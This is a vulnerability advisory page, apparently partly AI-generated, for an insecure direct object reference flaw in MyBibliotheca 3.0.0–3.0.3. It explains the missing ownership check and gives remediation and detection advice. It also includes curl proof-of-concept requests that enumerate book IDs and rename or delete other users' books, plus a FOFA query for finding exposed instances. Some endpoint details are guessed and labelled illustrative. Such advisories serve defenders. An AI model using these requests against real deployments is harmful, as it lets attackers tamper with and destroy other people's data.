CVE Professor
/
All CVEs
CVE-2026-135431

CVE-2026-135431 — Pickles4evaaaa MyBibliotheca — CWE-639

MEDIUM CVSS 5.4 NVD

MyBibliotheca 3.0.0 before 3.0.4 contains an insecure direct object reference vulnerability that allows authenticated users to modify or delete other users' books via /api/v1/books/<book_id>. Attackers can obtain book UUIDs from recently added books across all owners, then send PUT or DELETE requests to rename, alter, or permanently delete them.

MyBibliotheca 3.0.0 before 3.0.4 contains an insecure direct object reference vulnerability that allows authenticated users to modify or delete other users' books via /api/v1/books/<book_id>. Attackers can obtain book UUIDs from recently added books across all owners, then send PUT or DELETE requests to rename, alter, or permanently delete them.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. Low PR:L
User Interaction None UI:N
Scope Unchanged S:U
Confidentiality None C:N
Integrity Low I:L
Availability Low A:L
AI Security Analysis & Remediation

🎯 What is this vulnerability?

This vulnerability is a classic Insecure Direct Object Reference (IDOR), classified under CWE-639. The core technical flaw lies in the application's failure to perform object-level authorization checks.

While the application correctly enforces authentication (requiring a valid session or API key to access the /api/v1/books/ endpoint), it fails to verify that the authenticated user is the owner of the specific resource identified by the book_id parameter.

In a secure design, the backend logic for PUT and DELETE requests to /api/v1/books/<book_id> should follow this pattern:
1. Authenticate the user.
2. Retrieve the book object from the database using book_id.
3. Check: Does book.owner_id == current_user.id?
4. If yes, proceed with modification/deletion.
5. If no, return 403 Forbidden.

In MyBibliotheca 3.0.0–3.0.3, Step 3 is missing or bypassed. The application assumes that because the user is logged in, they have rights to any book ID they provide. This allows any authenticated user to manipulate data belonging to other users by simply guessing or enumerating the book_id (UUID).

⚡ Attack Chain

1. Discovery & Reconnaissance

  • Fingerprinting: The attacker identifies the target as running pickles4evaaaa:MyBibliotheca. This can be done via:
  • * Checking the Server header or X-Powered-By header. * Visiting / or /about to see version strings. * Using tools like whatweb or nmap with NSE scripts.
  • Version Verification: Confirming the version is between 3.0.0 and 3.0.3 (inclusive).
  • Authentication: The attacker registers a low-privilege account (e.g., a regular user) to obtain a valid session cookie or API token. This satisfies the PR:L (Privileges Required: Low) requirement.
  • 2. Exploitation

    The attacker needs to obtain a valid book_id belonging to another user. The CVE description states: "Attackers can obtain book UUIDs from recently added books across all owners." This implies there is a public or authenticated endpoint (e.g., /api/v1/books/recent or a search endpoint) that returns book metadata, including the id field, without filtering by ownership.

    Step 2a: Enumerate Book IDs
    The attacker queries the endpoint that lists recent books.

    # Illustrative example: Assuming a 'recent' endpoint exists that leaks IDs
    curl -X GET "https://target.com/api/v1/books/recent" \
      -H "Authorization: Bearer <ATTACKER_TOKEN>" \
      -H "Content-Type: application/json"

    Response (Illustrative):

    [
      {
        "id": "550e8400-e29b-41d4-a716-446655440000",
        "title": "The Great Gatsby",
        "owner": "user_john",
        "added_at": "2026-11-22T10:00:00Z"
      },
      {
        "id": "6ba7b810-9dad-11d1-80b4-00c04fd430c8",
        "title": "1984",
        "owner": "user_jane",
        "added_at": "2026-11-22T09:55:00Z"
      }
    ]

    The attacker extracts 550e8400-e29b-41d4-a716-446655440000 (owned by user_john).

    Step 2b: Modify or Delete the Object
    The attacker sends a PUT or DELETE request to the specific book ID using their own token.

    PoC: Rename a Book (Integrity Impact)

    curl -X PUT "https://target.com/api/v1/books/550e8400-e29b-41d4-a716-446655440000" \
      -H "Authorization: Bearer <ATTACKER_TOKEN>" \
      -H "Content-Type: application/json" \
      -d '{
        "title": "HACKED BY ATTACKER",
        "description": "Your book has been compromised."
      }'

    PoC: Delete a Book (Availability Impact)

    curl -X DELETE "https://target.com/api/v1/books/550e8400-e29b-41d4-a716-446655440000" \
      -H "Authorization: Bearer <ATTACKER_TOKEN>"

    Note: The exact JSON payload fields (title, description) are illustrative based on typical book metadata. The critical element is the book_id in the URL and the valid Authorization header.

    3. Post-Exploitation

  • Data Integrity Compromise): The attacker can corrupt the library data of other users, causing confusion, loss of metadata, or disruption of workflows.
  • Denial of Service (DoS): By deleting books, the attacker can degrade the service for specific users.
  • No Direct RCE or Privilege Escalation): The CVSS vector (C:N/I:L/A:L) indicates no Confidentiality impact and no direct path to Remote Code Execution or privilege escalation to admin. The impact is limited to the integrity and availability of the book objects.
  • 🌍 Real World Impact

  • Confidentiality (None): The attacker cannot read the content of books they do not own (assuming the GET endpoint is properly restricted, which is not explicitly stated as vulnerable, but the CVSS C:N suggests no data leakage).
  • Integrity (Low): The attacker can modify metadata (title, author, description) of other users' books. This can lead to data corruption, misinformation, or disruption of the user's library organization.
  • Availability (Low): The attacker can permanently delete books, causing loss of data for the victim. This is a direct availability impact on the user's data.
  • Practical Consequences:
  • * User Trust Erosion: Users may lose trust in the platform's security if their data is tampered with or deleted. * Operational Disruption: For organizations using MyBibliotheca for shared libraries, an attacker could disrupt access to critical resources by deleting or altering them. * Reputational Damage: The application vendor and hosting organization may face reputational harm.

    🛡️ Remediation & Mitigation

    1. Upgrade (Primary Fix)

  • Affected Versions: MyBibliotheca 3.0.0 through 3.0.3.
  • Fixed Version: 3.0.4.
  • Action: Immediately upgrade to version 3.0.4 or later. The fix likely adds an ownership check in the controller or service layer for PUT and DELETE operations on /api/v1/books/<book_id>.
  • 2. Workarounds (If Immediate Upgrade is Not Possible)

  • WAF/ModSecurity Rule: Block PUT and DELETE requests to /api/v1/books/ if the book_id in the URL does not match the owner_id associated with the authenticated user. This requires the WAF to have access to the database or a session-to-owner mapping, which is complex. A simpler, less effective workaround is to restrict access to the API endpoints to trusted IP ranges if feasible.
  • API Gateway Restriction: If using an API gateway, implement a policy that requires a specific header or token claim that includes the user's ID, and validate that the book_id belongs to that user at the gateway level (if the gateway has access to the data).
  • Disable Public Book Listing: If the vulnerability relies on enumerating book IDs from a public/recent endpoint, disable or restrict that endpoint to only show books owned by the current user. This prevents the attacker from obtaining valid book_ids.
  • 3. Detection (IoCs)

  • Web Server Logs: Look for PUT or DELETE requests to /api/v1/books/<uuid> where the Authorization header token belongs to User A, but the book_id is known to belong to User B.
  • * Example Log Pattern:
    192.168.1.100 - - [23/Nov/2026:10:00:00 +0000] "PUT /api/v1/books/550e8400-e29b-41d4-a716-446655440000 HTTP/1.1" 200 123 "-" "curl/7.68.0"

    Cross-reference the book_id with the database to see if the owner matches the user associated with the token.

  • Database Audit Logs: Monitor for UPDATE or DELETE statements on the books table where the user_id in the session does not match the owner_id in the row being modified.

  • Application Logs: If the application logs ownership checks, look for failed checks or anomalies.
  • ⚠️ Urgency

  • CVSS Score: 5.4 (Medium)
  • CISA KEV: No
  • Exploit Complexity: Low (AC:L)
  • Privileges Required: Low (PR:L)
Patching Priority: Medium-High

While the CVSS score is Medium, the vulnerability is easy to exploit (Low Complexity) and requires only low privileges. The impact is on Integrity and Availability, which can be significant for data integrity and user trust. It is not a critical RCE or data breach vulnerability, but it is a clear security flaw that should be patched promptly.

Recommendation:
1. Immediate: Upgrade to MyBibliotheca 3.0.4.
2. Short-term: If upgrade is delayed, restrict access to the /api/v1/books/ endpoints or disable the public book listing feature to prevent ID enumeration.
3. Long-term: Implement robust object-level authorization checks in all API endpoints.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="pickles4evaaaa MyBibliotheca"
PoC & Exploit Intelligence (GitHub)
Technical reference / advisory repository for CVE-2026-135431
Technical reference / advisory repository for CVE-2026-135431
Technical reference / advisory repository for CVE-2026-135431
Technical reference / advisory repository for CVE-2026-135431
CVSS Score
5.4 / 10 · CVSS MEDIUM
Weakness Types (CWE)
CWE-639
Affected Products (1)
pickles4evaaaa:MyBibliotheca
Related CVEs
8.8
CVE-2026-139866
Authorization bypass through User-Controlled key vulnerability in TÜBİTAK BİLGEM Yazılım Teknolojileri Ar
8.8
CVE-2026-144410
Emby Server is a personal media server. Prior to 4.10.2.0 and beta 4.11.0.9, an authenticated user can supply
8.7
CVE-2026-136368
Joomla Extension - joomboost.com - Unauthenticated IDOR in public invoice and quote view in JoomInvoice extens
8.6
CVE-2026-144467
Dolibarr ERP CRM 6.0.0 before 24.0.0 contains an insecure direct object reference vulnerability in htdocs/user
8.6
CVE-2026-144944
Dolibarr ERP CRM versions 22.0.0 through 24.0.3 contain a broken object-level authorization vulnerability in t
7.2
CVE-2026-120110
Authorization bypass through a user-controlled key in Site Variable saving (the HostVariableAjax DWR endpoint
7.1
CVE-2026-115984
Missing or incorrect authorization checks in several legacy Struts actions in dotCMS allow an authenticated ba